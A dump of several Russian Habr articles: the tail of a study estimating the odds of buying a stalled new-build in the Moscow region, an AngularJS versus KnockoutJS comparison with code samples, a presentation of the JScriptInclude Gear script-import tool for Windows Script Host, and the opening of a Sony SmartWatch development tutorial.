4. Перечень объектов из реестра «обманутых дольщиков» (граждан, чьи денежные средства привлечены для строительства многоквартирных домов и чьи права нарушены на 01.05.2017) – содержит все объекты, внесенные в этот реестр, даже если они сданы на отчетную дату (в общем доступе не размещается).
Все объекты, обнаруженные в перечисленных источниках, отмечали признаком «долгостроя».
Для объектов, не попавших в указанные выше списки «долгостроя», но имеющих значение «строительство приостановлено» в поле «Состояние» на новостройкине были автоматически загружены и разобраны последние сообщения на форуме. Если в сообщениях содержались словосочетания вида «обращение обманутых дольщиков к В.В.Путину», «митинг», «мошенники», «банкротство» и т.д., то объект также относили к долгостроям.
Однако, полученный перечень долгостроев не является исчерпывающим, так как:
1. С июля 2017 года Минстрой МО удалил реестр «обманутых дольщиков» из открытого доступа – самые свежие данные, которыми располагаем – май 2017 года;
2. Сведения в реестр «обманутых дольщиков» заносятся с существенной задержкой. Прием документов для вступления в реестр по всей Московской области ведется силами всего двух чиновников, которые работают неполную рабочую неделю и неполный рабочий день. Принять всех желающих невозможно, потому очередь на подачу документов растянулась на несколько месяцев. Кроме того, поданный пакет документов рассматривается комиссией, которая собирается раз в месяц. Дольщик заносится в реестр только после положительного решения комиссии;
3. «Сводный перечень проблемных объектов на территории МО» не содержит всех проблемных объектов. Согласно закона МО №84/2010-ОЗ, объект должен быть признан проблемным, если застройщик просрочил более чем на 9 месяцев исполнение обязательств по договорам, заключенным с гражданами и (или) иными лицами, чьи денежные средства привлечены для строительства данного многоквартирного дома. В перечень проблемных новостройку должен включить соответствующий муниципалитет. Но местные власти в этом, естественно, не заинтересованы, так как низкий уровень проблемности строительства является одним из критериев успешности их работы. В настоящее время включение в этот перечень происходит только по решению суда. Например, суд принудил муниципалитет г.о. Химки признать ЖК «Авиатор» проблемным, однако через месяц после признания муниципалитет отменил свое решение. Вышеупомянутый ЖК «Белые росы» в г.о. Котельники не признан проблемным, хотя просрочка составляет 2 года 4 месяца. В данный момент муниципалитет оспаривает судебное решение суда о признании объекта проблемным в апелляционной инстанции. ЖК «Грин сити» (г.о. Люберцы) – после смены застройщика объект удален из перечня проблемных, однако стройка не ведется и новым инвестором;
4. Многие покупатели недвижимости недостаточно активны и плохо знают законодательство, для того чтобы попасть в официальные списки, а также не пользуются форумом novostroykin.ru для обсуждения своих проблем. Например, ЖК «Лобня Сити» при задержке сдачи более 2-ух лет, ЖК «Котельнические высотки» с задержкой сдачи 6 месяцев не значатся ни в одном из вышеупомянутых списков;
5. Случаев достоверного «исцеления» объектов от проблемности исчезающе мало и ими в рамках полученной статистики можно пренебречь.
Таким образом, есть все основания полагать, что проблемных объектов в выборке гораздо больше, чем удалось выявить. Будем работать с тем, что удалось классифицировать по открытым источникам.
### Результаты
Вероятность долгостроя при покупке новостройки рассчитывалась как отношение количества долгостроев ко всем новостройкам, с плановым сроком сдачи хотя бы одного корпуса до 30.06.2017 (в поле «Сдача в эксплуатацию»). Срок сдачи до 30.06.2017 выбран, так как по законодательству, объект может попасть в официальные перечни долгостроев только после задержки от 6 месяцев и выше. Если поле «срок сдачи» было пусто или «нет данных», из базы для расчета такой объект не удалялся. Стоит отметить, что на новостройкине поле «Сдача в эксплуатацию» содержит не первоначальный, а откорректированный срок сдачи, что занижает вероятность долгостроя. Например, ЖК «Котельнические высотки»: согласно проектной декларации срок сдачи 2 квартал 2017, согласно новостройкина — 1 квартал 2018. Поэтому в наших расчетах этот ЖК не участвует.
По нашим данным, вероятность покупки долгостроя в Московской области составила 15%. По обсуждавшимся выше причинам (не все долгострои, постоянное обновление срока сдачи) вычисленный показатель является оценкой снизу, реальная величина может быть выше. Однако и он вдвое выше, чем «уровень токсичности строительной отрасли в 7%» из [официального заявления](https://www.bfm.ru/news/369172) министра строительства и жилищно-коммунального хозяйства РФ Меня М.А. Мы не беремся судить вызвано ли такое расхождение различием в данных или в методике расчета или особым масштабом проблемы в Подмосковье. Однако, помимо покупки заведомого долгостроя (в нашей выборке таковых 222), также возможен риск покупки самостроя — таких объектов порядка 200 на конец 2017 года, 400 на конец 2012 года по данным Министерства строительного комплекса МО. Оценка того, как пересекаются самострои с нашей выборкой, не проводилась.
Мы представили результаты по всей базе – для новостроек, строительство которых началось/завершилось в разные периоды. Интереснее было бы рассчитать вероятность долгостроя в разрезе года начала строительства, первоначального срока завершения объекта. Однако такими данными мы не располагаем.
В таблицах ниже приведены вероятности долгостроя в разрезе муниципалитетов Московской области (не является указанием к действию!)
Таблица №1. Вероятность долгостроя в муниципалитетах со слабой строительной активностью (в продаже менее 10 объектов)
Таблица №2. Вероятность долгостроя в муниципалитетах со средней и сильной строительной активностью (в продаже более 10 объектов)
 | https://habr.com/ru/post/347996/ | null | ru | null |
# AngularJS vs. KnockoutJS
Добрый день уважаемые, хабрачеловеки.
В данной статье я хочу поделиться с вами своим опытом работы с такими фреймворками как [AngularJS](http://angularjs.org/) и [Knockout](http://knockoutjs.com/).
Cтатья будет интересна тем, кто хорошо знаком с JavaScript-ом и имеет представление хотя бы об одном из упомянутых фреймворков и естественно желает расширить свой кругозор.
#### Обзор
AngularJS и Knockout очень близки по своей идеологии. Они являются фреймворками для динамических веб-приложений и используют HTML в качестве шаблона. Они позволяют расширить синтаксис HTML для того, чтобы описать компоненты вашего приложения более ясно и лаконично. Из коробки они устраняют необходимость писать код, который раньше создавался для реализации связи model-view-controller.AngularJS и Knockout — это по сути то, чем HTML и JavaScript были бы, если бы они разрабатывались для создания современных веб-приложений. HTML — это прекрасный декларативный язык для статических документов. Но, к сожалению, в нем нет многого, что необходимо для создания современных веб-приложений.
#### Features
* Data-binding: простой и хороший способ связи UI и модели данных.
* Мощный набор инструментов для разработчика (в частности у AngularJS, Knockout имеет достаточно бедный набор)
* Легко расширяемый инструментарий
#### Архитектура приложения
Согласно документации, Angular предлагает структурировать приложение, разделяя его на модули. Каждый модуль состоит из:
* функции, конфигурирующей модуль — она запускается сразу после загрузки модуля;
* контроллера;
* сервисов;
* директив.
Контроллер в понимании Angular — это функция, которая конструирует модель данных. Для создания модели используется сервис $scope, но о нем немного дальше. Директивы — это расширения для HTML.
В свою очередь, Knockout предлагает строить приложение, разделяя его на ModelView, которые являются миксом из модели и контроллера. В пределах объекта ko.bindingHandlers размещены data-bindings, которые являются аналогами директив Angular. Для построения связи между моделью и ее представлением используются observable и observableArray.
Говоря о модульности, нельзя не вспомнить про шаблон AMD — Asynchronous Module Definition. Angular и Knockout не имеют собственной реализации AMD шаблона. Советую использовать библиотеку [RequireJS](http://requirejs.org/). Она себя очень хорошо зарекомендовала в плане совместимости и с Angular, и с Knockout. Больше интереcной информации о ней вы найдете тут: <http://www.kendoui.com/blogs/teamblog/posts/13-05-08/requirejs-fundamentals.aspx> и <http://habrahabr.ru/post/152833/>.
#### Шаблонизация
*(Отдельная благодарность разработчикам AngularJS за такую прекрасную картинку)*
На данный момент уже существует огромное количество шаблонизаторов. К примеру, jQuery Templates (к сожалению, уже не поддерживается). Большинство из них работают по принципу: возьми статический template как string, смешай его с данными, создав новую строку, и полученную строку вставь в необходимый DOM-элемент посредством innerHTML свойства. Такой подход означает ререндеринг темплейта каждый раз после какого-либо изменения данных. В данном подходе существует ряд известных проблем, к примеру: чтение вводимых пользователем данных и соединение их с моделью, потеря пользовательских данных из-за их перезаписи, управление всем процессом обновления данных и/или представления. Кроме того, данный подход, на мой взгляд негативно сказывается на производительности.
Angular и Knockout используют иной подход. А именно two-way binding. Отличительная особенность данного подхода — это создание двунаправленной связи элемента страницы с элементами модели. Такой подход позволяет получить достаточно стабильный DOM. В Knockout двунаправлення связь реализована посредством функций observable и observableArray. Для анализа шаблона используется HTML парсер jQuery (если подключен, в противном случае аналогичный родной парсер). Результатом работы упомянутых функций является функция, которая инкапсулирует текущее состояние элемента модели и отвечает за two-way binding. Данная реализация, на мой взгляд, не очень удобна поскольку возникает проблема связанная с копированием состояния модели: скоуп функции не копируется, поэтому необходимо сперва получить данные из элемента модели обратившись к нему, как к функции и только после этого клонировать результат.
В Angular двунаправленная связь строится непосредственно компилятором (сервис $compile). Разработчику нет необходимости использовать функции подобные observable. На мой взгляд, это намного удобнее поскольку нет необходимости использовать дополнительные конструкции и не возникает проблемы при копировании состояния элемента модели.
Ключевой же разницей в реализации шаблонизаторов в Angular и Knockout является способ рендеринга элементов: Angular генерирует DOM-элементы, которые потом использует; Knockout — генерирует строки и innerHTML-ит их. Поэтому генерация большого числа элементов занимает у Knockout больше времени (наглядный пример немного ниже).
#### Модель данных
Говоря о модели данных в Angular, обязательно стоит остановится на сервисе $scope. Этот сервис содержит ссылки на модель данных. Поскольку Angular предполагает наличие достаточно сложной архитектуры приложения, $scope также имеет более сложную структуру.
Внутри каждого модуля создается новый экземпляр $scope, который является наследником $rootScope. Существует возможность програмно создать новый экземпляр $scope из существующего. В таком случае созданный экземпляр будет наследником того $scope, из которого он был создан. Разобратся с иерархией $scope в Angular не составит труда для тех, кто хорошо знает JavaScript. Такая возможность очень удобна, когда есть необходимость создания различных widgets, к примеру pop-ups.
#### Data-binding
Binding в Knockout, directive в Angular используются для расширения синтаксиса HTML, то есть для обучения браузера новым трюкам. Детально разбирать концепцию data-bindings и directives я не буду. Хочу лишь отметить, что data-binding это единственный в Knockout способ отображения данных и их связи с представлением.
Более подробно данный вопрос рассмотрен в статьях:
AngularJS: <http://habrahabr.ru/post/164493/>, <http://habrahabr.ru/post/179755/>, <http://habrahabr.ru/post/180365/>
KnockoutJS: <http://www.knockmeout.net/2011/07/another-look-at-custom-bindings-for.html>
Отдельно хочется упомянуть про наличие фильтров у Angular. Фильтры используются для форматирования выводимых на экран данных. К сожалению, Knockout для всего использует bindings.
#### Примеры
##### Fade-in анимация
**AngularJS:** <http://jsfiddle.net/yVEqU/>
```
var ocUtils = angular.module("ocUtils", []);
ocUtils.directive('ocFadeIn', [function () {
return {
restrict: 'A',
link: function(scope, element, attrs) {
$(element).fadeIn("slow");
}
};
}]);
function MyCtrl($scope) {
this.$scope = $scope;
$scope.items = [];
$scope.add = function () {
$scope.items.push('new one');
}
$scope.pop = function () {
$scope.items.pop();
}
}
```
**Knockout:** <http://jsfiddle.net/fH3TY/>
```
var MyViewModel = {
items: ko.observableArray([]),
fadeIn: function (element) {
console.log(element);
$(element[1]).fadeIn();
},
add: function () {
this.items.push("fade me in aoutomatically");
},
pop: function () {
this.items.pop();
}
};
ko.applyBindings(MyViewModel, $("#knockout")['0']);
```
Думаю, что проще этого примера будет сложно что-то найти, он отлично демонстрирует синтаксис фреймворков.
##### Fade-out анимация
**AngularJS:** <http://jsfiddle.net/SGvej/>
```
var FADE_OUT_TIMEOUT = 500;
var ocUtils = angular.module("ocUtils", []);
ocUtils.directive('ocFadeOut', [function () {
return {
restrict: 'A',
link: function(scope, element, attrs) {
scope.$watch(attrs["ocFadeOut"],
function (value) {
if (value) {
$(element).fadeOut(FADE_OUT_TIMEOUT);
}
});
}
};
}]);
function MyCtrl($scope, $timeout) {
this.$scope = $scope;
$scope.items = [];
$scope.add = function () {
$scope.items.push({removed: false});
}
$scope.pop = function () {
$scope.items[$scope.items.length - 1].removed = true;
$timeout(function () {
$scope.items.pop();
console.log($scope.items.length);
}, FADE_OUT_TIMEOUT);
}
}
```
**Knockout:** <http://jsfiddle.net/Bzb7f/1/>
```
var MyViewModel = {
items: ko.observableArray([]),
fadeOut: function (element) {
console.log(element);
if (element.nodeType === 3) {
return;
}
$(element).fadeOut(function () {
$(this).remove();
});
},
add: function () {
this.items.push("fade me in aoutomatically");
},
pop: function () {
this.items.pop();
}
};
ko.applyBindings(MyViewModel, $("#knockout")['0']);
```
Данный пример не намного сложнее, чем предыдущий, но есть несколько нюансов.
В случае с Angular, fadeOut должен быть выполнен до удаления элемента, поскольку DOM-елемнт связан с этим элементом модели и будет удален в тот же миг, когда будет удален элемент. Также важно отметить, что удаление элемента модели из массива стоит выполнять через сервис $timeout. Этот сервис по сути является оберткой для функции setTimeout и гарантирует целостность модели данных.
У Knockout возникает проблема другого характера. Функция fadeOut получает в качестве первого аргумента массив DOM-элементов, относящихся к данному элементу модели. Иногда при странном стечении обстоятельств в процессе рендеринга шаблона могут быть созданы и соответственно они будут присутствовать в получаемом массиве, поэтому необходимо делать проверку элементов прежде чем выполнять fadeOut. Также по окончанию процесса fadeOut не забывайте удалять DOM-элементы (они не удаляются автоматически).
##### Popup
**AngularJS:** <http://jsfiddle.net/vmuha/EvvY7/>, <http://angular-ui.github.io/bootstrap/> (по второй ссылке вы найдете достаточно много хороших и полезных решений)
```
var ocUtils = angular.module("ocUtils", []);
function MyCtrl($scope, $compile) {
var me = this;
this.$scope = $scope;
$scope.open = function (data) {
var popupScope = $scope.$new();
popupScope.data = data;
me.popup = $("{{data}}
[Close me](\"#\")");
$compile(me.popup)(popupScope);
$("body").append(me.popup);
}
$scope.close = function () {
if (me.popup) {
me.popup.fadeOut(function () {
$(this).remove();
});
}
}
}
```
**Knockout:** <http://jsfiddle.net/vmuha/uwezZ/>, <http://jsfiddle.net/vmuha/HbVPp/>
```
var jQueryWidget = function(element, valueAccessor, name, constructor) {
var options = ko.utils.unwrapObservable(valueAccessor());
var $element = $(element);
setTimeout(function() { constructor($element, options) }, 0);
//$element.data(name, $widget);
};
ko.bindingHandlers.dialog = {
init: function(element, valueAccessor, allBindingsAccessor, viewModel) {
console.log("init");
jQueryWidget(element, valueAccessor, 'dialog', function($element, options) {
console.log("Creating dialog on " + $element);
return $element.dialog(options);
});
}
};
ko.bindingHandlers.dialogcmd = {
init: function(element, valueAccessor, allBindingsAccessor, viewModel) {
$(element).button().click(function() {
var options = ko.utils.unwrapObservable(valueAccessor());
$('#' + options.id).dialog(options.cmd || 'open');
});
}
};
var viewModel = {
label: ko.observable('dialog test')
};
ko.applyBindings(viewModel);
```
Реализовать popup можно по разному. Через директиву или байндинг и как часть ViewModel или модуля.
В Angular для popup необходимо будет создавать новый экземпляр $scope, об этом я уже упоминал выше, и использовать сервис $compile для компиляции шаблона.
В Knockout также скорей всего понадобится создание новой ModelView и вызова функции applyBindings для связи модели и представления.Думаю стоит заметить, что в случае, если для popup будет создана новая модель данных, то в Knockout возникнет проблема получения доступа к $rootModel из шаблона popup. Иерархия модели данных в Knockout построена на DOM-элементах, соответственно, если контейнер popup находится за пределами контейнера для приложения, то popup не будет иметь доступ к $rootModel.
##### Форматирование цены
**AngularJS:** <http://jsfiddle.net/vmuha/k6ztB/1/>
**Knockout:** <http://jsfiddle.net/vmuha/6yqDw/>
#### Производительность
Перейдем к вопросу производительности. Были произведены 2 теста: холодный старт приложения “Hello World!” и рендеринг массива из 1000 элементов.
На всех схемах по вертикали — миллисекунды, по горизонтали номер эксперимента.
Здесь хорошо видно, что холодный старт у Knockout происходит на много быстрее, чем у Angular.
А вот, когда речь заходит о рендеринге, здесь очевидно лидирует Angular. Как мы видим для рендеринга 1000 строк Knockout тратит до 2,5 секунд в то же время Angular хватает меньше 500 миллисекунд для выполнения этой задачи. Кроме того, отображение отрендеренных элементов на экране пользователя также занимает разное время: для Angular это 1-3 секунды, а для Knockout — 14-20 секунд. Это происходит из-за того что Knockout генерирует строки, а Angular — DOM-элементы.
#### Резюме
Самый главный вопрос для меня заключался в определении области применения Angular и Knockout. Проведя несколько простых экспериментов, я сделал следующие выводы:
Knockout применим в случаях, когда нет необходимости в создании сложной архитектуры, сложных workflow-ов. Его основная функция — связь модели и представления, поэтому его лучше всего использовать для простых одностраничных приложений. К примеру, создание различного уровня сложности форм.
Относительно Angular я пришел к выводу, что он будет полезен в тех случаях, когда требуется создание RichUI. Настоящего и полноценного one-page приложения со сложной архитектурой и сложными связями.
#### P.S.:
Надеюсь, данная статья будет всем интересна. Буду рад прочитать ваши комментарии, отзывы и конструктивную критику! Желаю всем приятной работы! | https://habr.com/ru/post/187808/ | null | ru | null |
# JScriptInclude Gear v 0.1.0 — механизм каскадного импорта скриптов/библиотек. (Реванш)
Доброго времени суток уважаемые хабражители.
Предлагаю Вашему вниманию пост-реванш, под названием **JScriptInclude Gear механизм каскадного импорта скриптов/библиотек.** Предыдущий пост презентующий **JScriptInclude Gear** на данный момент самозабвенно убран в черновики, теперь он совсем не актуален, не смотря на то, что предыдущая презентация была довольно сурово воспринята хабра-яваскриптерами, а там все таки было за что :), очень много опалы было вызвано непониманием сути, а именно того, что
**JScript(WSH) != JavaScript(браузеры)**, в связи с чем **JScriptInclude Gear** возводился в ранг костылей, велосипедов, «было уже», «инахренаже» и т.д.
Я тогда очень хотел поделиться своим решением, но совсем не представлял как, как сделать его «вкусным» и понятным, но мне кажется сейчас у меня это получилось.
Тем не менее «Отхабренное» дело получило ход, люди пишут, люди пользуются, людям нравится. За прошедшую неделю я получил достаточно много отзывов, что стимулировало меня работать над своим решением, в итоге оно преобразилось до неузнаваемости. Спасибо всем, кто вышел вместе со мной на линию огня.
Тем же кто не знает о чем собственно речь — маленькое, завлекающее предисловие:
**JScriptInclude Gear** — это механизм каскадного импорта скриптов/библиотек предназначенный для использования в скриптах автоматизации написанных на языке **JScript** интерпретируемых технологией **WSH(Windows Script Host)** в окружении семейства операционных систем **Windows**. Дополнительно предоставляющий функционал для организации скриптов в виде базовых модулей, поддерживающий их определение в файлах конфигурации и их последующий вызов по псевдонимам и так далее, и тому подобное :)
Тех же, кто уже читал о **JScriptInclude Gear** в предыдущем посте, не смотря на, может быть, оставшийся негатив, я откланявшись попрошу остаться, уверяю Вас — здесь будет кое-что интересное, ведь изменилось почти всё: механизм теперь экспортируется **COM-компонентой** и подключается к Вашему скрипту двумя строками кода, подготовлен **SFX-пакет** для установки механизма в систему с автоматической регистрацией компоненты и автоматической конфигурацией необходимых путей, документация переделана «от и до», и теперь представлена в виде HTML, пример теперь стартует без «танцев с бубном», а в качестве приятного бонуса, в нем представлено несколько полезных модулей, которые описаны в документации (они, все-же являются примером использования и «не претендуют»), и естественно «подвылизан» сам код, хотя в процессе использования Вы с ним теперь собственно не сталкиваетесь.
Для тех кому неймётся, милости прошу на **GitHub**:
Механизм **JScriptInclude Gear** [SFX-пакет установки.](https://github.com/downloads/RUVATA/JScriptInclude-Gear/JScriptIncludeGear(v0.1.0).exe)
(самостоятельный до безобразия :) )
Механизм **JScriptInclude Gear** [сoрцы как есть.](https://github.com/RUVATA/JScriptInclude-Gear)
(О развертывании в доп комментарии к последнему комиту, или в справке — раздел **jsImport Object** врезка «Внимание!!!»)
И все же хотелось бы, чтобы Вы прочитали оставшиеся «много букаф», хотя бы до пункта **Возможности JScriptInclude Gear**:
Заинтересовавшихся милости прошу под хабракат…
#### Назначение JScriptInclude Gear:
В первую очередь, восполнить отсутствие в технологии возможности подключать скрипты/библиотеки как таковые. Технология **Windows Scripting** предлагает частично разрешить этот вопрос при помощи оборачивания кода в XML формат специфического файла **WSF(Windows Script File)**, но его использование не позволяет обеспечить «*каскад подключений*». В связи с этим обстоятельством, невозможно сформировать структуру библиотек имеющих свои зависимости. В данном решении, Вам предлагается преодалеть эту проблему через обеспечение каскадного импорта.
**Каскадный импорт**, это возможность заслуживающая особого внимания — ее принцип позаимствован автором из технологии Node.JS. В такой модели множество файлов **JavaScript**-кода составляют гибкую и лаконичную структуру модулей и их зависимостей друг от друга.
В **Node.JS** такой механизм предоставляется ядром технологии, и ей же обеспечивается контроль, в случае с **JScriptInclude Gear** — механизм естественно является имитацией, и реализован средствами языка **JScript** и некоторых сопутствующих технологий.
#### Реализация JScriptInclude Gear :
По сравнению с первыми редакциями **JScriptInclude Gear** предлагавшими пользователю размещать код механизма в начале целевого скрипта, а это не много ни мало 110 строк кода, в настоящей редакции автор преодалел это неудобство при помощи технологии **Windows Script Components**, которая позволяет, специальным образом описанныем в **XML**-формате, скрипты регистрировать как **COM-компоненты**. Таким образом автор подготовил компоненту **JScriptInclude.wsc**, основное назначение которой — экспорт исходного кода механизма.
Автор учел неудобства связанные необходимостью некоторой ручной настройки путей, и преодалел это обстоятельство, путем подготовки специального **SFX-пакета**, который помимо предоставления необходимых файлов, так же регистрирует в системе вышеупомянутую компоненту как "**JScriptIncludeGear**", и вызывает на исполнение скрипт призванный автоматически установить необходимые актуальные пути в исходных кодах механизма.
Что касается обязательного использования ~~богомерзкого~~ **eval()** для инициализаии импортированного кода, а теперь и для инициализации кода самого механизма в глобальном стеке, то эта проблема является непреодалимой, т.к. в **WSH** не имеется возможности, каким либо образом, выполнить код в контексе глобального объекта, кроме как вызов его через **eval()** из основного стека исполняемого скрипта.
**PS:** Позволю себе еще раз напомнить Вам о том, что **JScript(WSH) != JavaScript(в браузерах)** не смотря на то, что оба являются реализацией стандарта **ECMA 262**, они существуют в абсолютно разном окружении.
В **WSH** нет **window**, нет никакого **DOM**, и иже с ними тегов **script**, и так далее, и тому подобное.
После успешной установки в любом из ваших **JScript** скриптов в целевой системе, Вы можете подключить механизм каскадного иморта **JScriptInclude Gear**, а так же получить доступ к системе его базовых модулей следующим образом:
```
jsIncludeGear = new ActiveXObject("JScriptIncludeGear");
eval(jsIncludeGear.getSourceCode());
```
Компонента, о которой автор упомянул ранее, предназначена лишь для экспорта исходного кода самого механизма через вызов метода **getSourceCode()**, инициализировав результат его исполнения через **eval()** Вам становится доступен глобальный объект **jsImport**, через свойства и методы которго реализован основной функционал механизма.
Например основная иструкция импорта / объявления зависимости:
```
jsImport.require(targetScript)
```
Объекту **jsImprot**, его методам и свойствам посвящен отдельный раздел справосного пособия поставляемого вместе с механизмом JScriptInculde Gear. (После успешной установки из **SFX-пакета** Вам будет предложено с ней ознакомиться, а так же в сообщении Вам будет показано ее расположение)
Так же в целевой директории установки механизма **JSciprInclude Gear** находится каталог **\\example\\**, в нем, в каталоге **TestDir** Вы найдете файл **JScriptExample.js** который является примером использования механизма, в нем продемострированы основные возможности и предлагаемый автором концепт. (После успешной установки из **SFX-пакета** Вам будет предложено с запустить его, а так же в в проводнике откроется содержащий пример каталог)
Завершающей инструкцией любой процедуры импорта должа быть инициализация загруженного кода, следующим образом:
```
eval(jsImport.initialization());
```
#### Возможности JScriptInclude Gear:
**1)** **Подключение произвольного скрипта** – предоставляется возможность простой конструкцией
```
jsImport.require(targetScript)
```
подключить другой скрипт к исполняемому, исполнить его код, или получить доступ к объявленным в нем сущностям.
Это позволяет многократно использовать имеющиеся наработки и готовые решения в своей работе.
**2)** **Каскадный импорт** – предоставляется возможность подключать скрипты/библиотеки, которые, в свою очередь, так же имеют возможность указать на необходимость подключения других скриптов/библиотек (автор предлагает в дальнейшем называть это "зависимостями", а их факт их подключения "реализацией зависимостей").
Обозначение зависимости в подключаемых скриптах/модулях реализуется через включение в код такой же инструкции подключения:
```
jsImport.require(targetScript)
```
, т.е. такой же вызов, как тот при помощи которого они сами были подключены.
В общем виде подключение происходит по принципу нисходящего рекурсивного вызова процедуры импорта. В данном механизме применимо использование абсолютных и относительных путей при определении зависимости. Стоит акцентировать внимание на том, что относительные пути, при объявлении зависимости, рассматриваться исходя из местоположения скрипта в котором эта зависимость объявлена, т.е. в подключаемом скрипте — относительно этого самого подключаемого скрипта, а не относительно скрипта инициатора (скрипта в котором объявлен механизм, и производится первый импорт в каскаде).
**3) Сингулярность подключения** – Данный механизм, в процессе импорта, отслеживает уже подключенные файлы, и не допускает их повторной инициализации, даже если ссылка на один и тот же скрипт/библиотеку присутствует во множестве зависимостей по пути каскадного ветвления.
**4) Обеспечение модели стандартных модулей** – Данный механизм предоставляет средства для организации структуры базовых модулей, когда скрипты/библиотеки стандартизированы или универсальны и предполагаются присутствующими в системе. Для этого в **JScriptInclude Gear** используются файлы конфигурации базовых модулей описывающих их по псевдонимам, через которые в последствии любой скрипт подключивший механизм, может использовать все его базовые модули. В инструментарий включены методы для определения новых и переопределиния существующих модулей, загрузки пользовательских конфигураций:
Определение нового модуля специальной инструкцией. В случае каскада подключений, дает возможность воспользоваться объявленным модулем по всей низлежащей части каскада, а также во всех последующих процедурах импорта:
```
jsImport.defineBaseModule(moduleName, modulePath)
```
, сам файл конфигурации "**jsModulesConfig.js**", по умолчанию находится корневом каталоге установки **JScriptInclude Gear**, во время установки в нем автоматически определяются модули из базовой поставки. В случае необходимости добавления/изменения/замены каких либо модулей, вы можете:
**-** отредактировать базовый файл конфигурации, что делать не рекомендуется, т.к. например в случае обновления, этот файл скорее всего будет изменен.
**-** использовать пользовательские файлы конфигурации, а во время исполнения Вашего кода подключать их специальной инструкцией:
```
jsImport.getConfig(ConfigFilePath)
```
**Внимание** Объявленные в пользовательском файле конфигурации модули, при совпадении псевдонимов с псевдонимами модулей объявленных в базовой конфигурации, будут превалировать над ними, и перекрывать их.
**5) Кэширование импортированного кода, с целью отладки или повторного использования** – В процессе разработки данного механизма, неоднократно вставал вопрос касающийся отладки импортируемого кода. В связи с тем, что инициализируется он через **eval()**, то получить корректное сообщение об ошибке в загруженном коде не представляется возможным — ссылка на строку кода вызвавшую исключение является неинформативной относительно Вашего скрипта. Для разрешения подобной проблемы предусмотрено кэширование импортируемого кода, т.е. его материализация через запись в отдельный файл скрипта **CacheFile.js**. Необходимость записи определяется установлением специального свойства:
```
jsImport.WriteCache = true
```
В последствии через его запуск возможно получить корректное сообщение об ошибке.
**PS:** Файл кэша возможно использовать как скомпилированное решение, т.е. в последствии использовать его вместо новой процедуры импорта, в таком случае не ясна цель использования JSscriptInclude Gear, хотя автору видится, что такое решение возможно пригодится, хотя бы по средствам упрощения сборки кода из множества файлов.
Обо всем еще чуточку подробнее уважаемые хабражители, в прилагаемой документации.
#### И еще разочек… Да пожалуйста!
Механизм **JScriptInclude Gear** [SFX-пакет установки.](https://github.com/downloads/RUVATA/JScriptInclude-Gear/JScriptIncludeGear(v0.1.0).exe)
(самостоятельный до безобразия)
Механизм **JScriptInclude Gear** [сoрцы как есть.](https://github.com/RUVATA/JScriptInclude-Gear)
(О развертывании в доп комментарии к последнему комиту, или в справке — раздел **jsImport Object** врезка «Внимание!!!»)
**UPD:** У некоторых пользователей, SFX-пакет не производит регистрацию компоненты.
SFX немного переделан, сейчас вроде работает, но опять же не у всех, проблемы наблюдаются например на x64, главные подозреваемые пока — антивирусы.
Если после установки пример не удалось с ходу запустить, то зарегистрируйте **JScriptInclude.wsc** вручную,
Или запустите скрипт **AfterInstall.js** собственноручно. | https://habr.com/ru/post/148416/ | null | ru | null |
# Пишем приложения для Sony SmartWatch и SmartWatch 2
 **Sony SmartWatch** – достаточно интересный девайс своего времени, разработку под который почему-то обошли стороной на хабре. Ну раз так – давайте исправлять! В качестве примера мы разработаем простое приложение для управлением любым аудио-плеером.
Статья предназначена для тех, кто уже хотя бы минимально знает, с какой стороны держать инструменты для разработки под Android, а так же тех, кто видел те самые часы или читал про них обзоры, и, соответственно, представляет их функционал. Разрабатывать будем сразу под первую и вторую версии **SmartWatch**.
Установка необходимых библиотек
-------------------------------
Запускаем **Android SDK Manager** и идём в меню **Tools -> Manage Add-on Sites**
На вкладке **User Defined Sites** добавляем адрес с SDK под часы:
`dl-developer.sonymobile.com/sdk_manager/Sony-Add-on-SDK.xml`
На самом деле, данный SDK поддерживает не только часы, но и некоторые другие хитрые устройства от Sony, такие как например Smart Headset… Но нам пока интересны только часы.
И теперь выбираем новые, появившиеся в списке пакеты и устанавливаем их:
Кроме собственно необходимых библиотек, после установки обязательно загляните в папку **[директория Android SDK]/sdk/add-ons/addon-sony\_add-on\_sdk\_2\_1-sony-16/samples**. Там есть примеры использованию абсолютно всех возможностей часиков, мы поговорим только об избранных.
Эмулятор часов
--------------
В принципе, разрабатывать под реальные часы гораздо проще и удобнее, но тем не менее, вместе с SDK идёт и эмулятор. Для его использования пойдём в **AVD Manager** и создадим одно из появившихся в списке новых устройство от Sony, например, **Xperia T**. Главное, что бы в качестве параметра **Target** был выбран **Sony Add-on SDK**.
Теперь, если запустить такое устройство на эмуляцию, то в списке приложений на эмулируемом устройстве можно найти **Accessory emulator**
Который эмулирует необходимые нам часики (и не только, как уже упоминалось выше).
План проекта
------------
Ну а теперь, что именно мы будем разрабатывать? Как мне кажется, делать всякие *hello word* скучно, так что напишем приложение для управления плеером! Любым плеером на телефоне. Вот это подходящий масштаб действий. ;)
* Приложение будет управляться жестами и кликами. Жест справа-налево и обратно – это следующий/предыдущий трек, вверх/вниз – громче/тише. Клик в центре – поставить на паузу/продолжить воспроизведение.
* Кроме самого экрана приложения реализуем виджет (для часов), который по клику будет вызывать основное окно программы.
* Сделаем заготовку для экрана настроек приложения – ну просто про запас.
* Поддерживать оно должно обе версии SmartWatch (первую и вторую, как подсказываем Кэп).
Подключаем библиотеки к проекту в IntelliJ IDEA
-----------------------------------------------
Поскольку я использую **IntelliJ IDEA**, то и пример приводить на ней. Для начала – создадим проект, в качестве версии SDK выбираем вариант от Sony.
Кроме того, для работы мы подключим к проекту пару модулей из той самой папки **samples**– в частности **SmartExtensions/SmartExtensionAPI** и **SmartExtensions/SmartExtensionUtils**. Вторую, теоретически, можно не подключать, и написать всё её содержимое с нуля, но мы, адепты тёмной стороны силы, ценим эффективность и удобство, а желание писать с нуля то, что уже существует нам чуждо. Инструкции по самому подключению я убрал под спойлер, благо там всё просто.
**Подключаем библиотеки.**Идём в **File -> Project Structure**, там – на закладку **Modules**, кликаем по “плюсику” и выбираем **Import Module**
Находим папку **SmartExtensionAPI**:
Дальше ОК и Next->Next->Next до победного конца, как в старые добрые времена.
После чего подключаем к основному проекту добавленный модуль.
Аналогичным образом подключаем и **SmartExtensionUtils**.
Настраиваем базовые классы и параметры
--------------------------------------
Начнём с манифеста.
**AndroidManifest.xml**
```
xml version="1.0" encoding="utf-8"?
```
Суть происходящего такова: мы создаём в приложении класс, который будет принимать события от часов, передавать их в сервис обработки, который и будет производить некие осмысленные действия. Единственная **activity** нам нужна для окна настроек, если же таковое нам не нужно – можно было бы выкинуть её совсем.
Класс-receiver совсем простой:
**DemoExtensionReceiver.java**
